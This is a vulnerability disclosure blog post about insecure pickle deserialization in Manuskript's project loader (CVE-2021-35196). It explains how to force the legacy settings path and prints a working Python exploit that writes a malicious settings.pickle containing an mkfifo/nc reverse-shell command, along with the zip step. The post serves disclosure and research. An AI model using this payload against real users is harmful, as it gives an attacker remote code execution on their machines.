Edit: A pull request has been submitted to remove this functionality and to depricate the old pickled settings, which is a wise security decision.
Edit: This vulnerability has been assigned CVE-2021-35196. Itβs currently listed as disputed, even though it is definitely a vulnerability.
I was searching for an alternative to Scrivener to write my future nobel prize winning novel and ran across Manuskript. It looked promising. I found out that it was open-source and on github – which is always cool.
I decided to clone it and take a look at it. It’s written in Python, so that is good for me. It’s probably the language I’m most comfortable in these days.
I started checking out the code and I immediately noticed that pickle was imported in settings.py. The first thing that should come to mind to any security researcher worth their salt is insecure deserialization via the pickle.loads()
and pickle.load()
functions.
Sure enough, in settings.py, I noticed on lines 190 and 191, it looks like the program’s settings are loaded via pickle.loads()
and pickle.load()
, respectively. Now, I just had to figure out how to get to that point in the code.
It turns out that this wasn’t overly tough and it would simply involve loading a project that contains a malicious settings.pickle
file. In loadSave.py
, the function loadProject() on line 30 is responsible for doing exactly what you think it is supposed to do. You will notice in this function that it checks to see if the project is a zip file, but the project does not have to be a zip file.
I used a zip file in my exploit because that would probably be what is used in a realistic exploitation scenario. e.g. I send a malicious project to a co-writer, editor, publisher, etc. or I post a sample project of some sort online for others to use.
After the function determines if the project is a zip file or not, it checks the version of the project. This is where you need to do a small amount of work to exploit the insecure deserialization. It turns out that Manuskript has two versions of settings, version 0 and version 1. Version 0 is the one that uses the pickle module to deserialize the settings.
In order to force the program into the insecure deserialization, we just have to have a zip file without a MANUSKRIPT
text file or a VERSION
text file in the project and the project number will default to 0, which is what we want.
Now, onto the exploit. There are many references to insecure deserialization online, so google them if you aren’t familiar, but here is the code I used on Ubuntu 20.04 to generate a reverse shell to localhost port 1234. This payload can easily be modified to do anything you want it to do on Linux, Mac, and/or Windows. When this code is ran, it outputs a malicious settings.pickle file, which we will include in the project.
#!/usr/bin/env python3
import pickle
import os
class EvilPickle(object):
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
return os.system, (cmd,)
pickle_data = pickle.dumps(EvilPickle())
with open("settings.pickle", "wb") as file:
file.write(pickle_data)
After the settings.pickle file is output, simply zip it up:
zip malicious-project.zip settings.pickle
And now you have a malicious-project.zip file that you simply load into Manuskript.
I notified the people involved and they don’t have intentions to fix this issue. They are currently refactoring the project and the deserialization code may be removed altogether.